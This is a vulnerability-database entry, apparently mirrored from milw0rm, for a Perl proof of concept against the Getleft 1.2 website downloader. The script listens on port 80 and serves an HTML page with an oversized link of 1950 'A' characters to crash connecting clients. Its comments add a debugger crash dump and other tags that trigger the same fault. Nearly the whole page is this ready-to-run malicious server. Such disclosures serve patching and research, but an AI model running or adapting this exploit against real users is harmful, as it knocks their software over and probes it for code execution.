Getleft 1.2 - Remote Buffer Overflow Proof of Concept

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Getleft v1.2.0.0 Remote Buffer Overflow PoC, Website Downloader, Windows XP SP


                                                #!/usr/bin/perl
#
# Getleft v1.2.0.0 DoS PoC
# Author: Koshi
#
# Application: Getleft v1.2
# Publisher: Andres Garcia ( http://personal1.iddeo.es/andresgarci/getleft/english/index.html )
# Description: Website Downloader, for such things as offline browsing.
# Tested On: Windows XP SP2
#
# Module: Getleft.exe
# eax=00c5f170 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00c5f170
# eip=004863eb esp=0022d9b0 ebp=010b4870 iopl=0         nv up ei pl nz na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
#
# Getleft+0x863eb:
# 004863eb 8b06            mov     eax,dword ptr [esi]  ds:0023:00000000=????????
# 
# &#60;embed src=&#62;, &#60;img src=&#62;, &#60;script src=&#62;, &#60;body background=&#62;
# Plenty of other tags will work as well. I&#39;m not so sure about
# code execution, I&#39;ll have to try a few other things.
#

use IO::Socket;

my $body = &#34;&#60;a href=\x22/abcd.jpg\x22&#62;&#34; .&#34;A&#34;x1950 .&#34;&#60;/a&#62;&#34;;
my $resp = &#34;&#34;.
	&#34;HTTP/1.1 200 OK\r\n&#34;.
	&#34;Server: Apache\r\n&#34;.
	&#34;Date: Mon, 22 Dec 2008 21:50:46 GMT\r\n&#34;.
	&#34;Content-Type: text/html\r\n&#34;.
	&#34;Accept-Ranges: bytes\r\n&#34;.
	&#34;Last-Modified: Mon, 22 Dec 2008 21:45:46 GMT\r\n&#34;.
	&#34;Content-Length: &#34; .length($body) .&#34;\r\n&#34;.
	&#34;Connection: close\r\n\r\n&#34;.
	&#34;$body\r\n&#34;;

for ($i = 2; $i &#62;= 1; $i--) {

my $sock = new IO::Socket::INET (LocalPort =&#62; &#39;80&#39;,
				 Proto =&#62; &#39;tcp&#39;,
				 Listen =&#62; 1,
				 Reuse =&#62; 1, );

print &#34;Listening...\n&#34;;
my $new_sock = $sock-&#62;accept();
print &#34;Connected...\n&#34;;
my $sock_addr = recv($new_sock,$msg,190,0);
print &#34;Sending ...\n&#34;;
print $new_sock &#34;$resp&#34;;
print &#34;Sent!\n&#34;;
close($sock);
print &#34;Closed.\r\n\r\n&#34;;

}

# milw0rm.com [2008-12-23]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1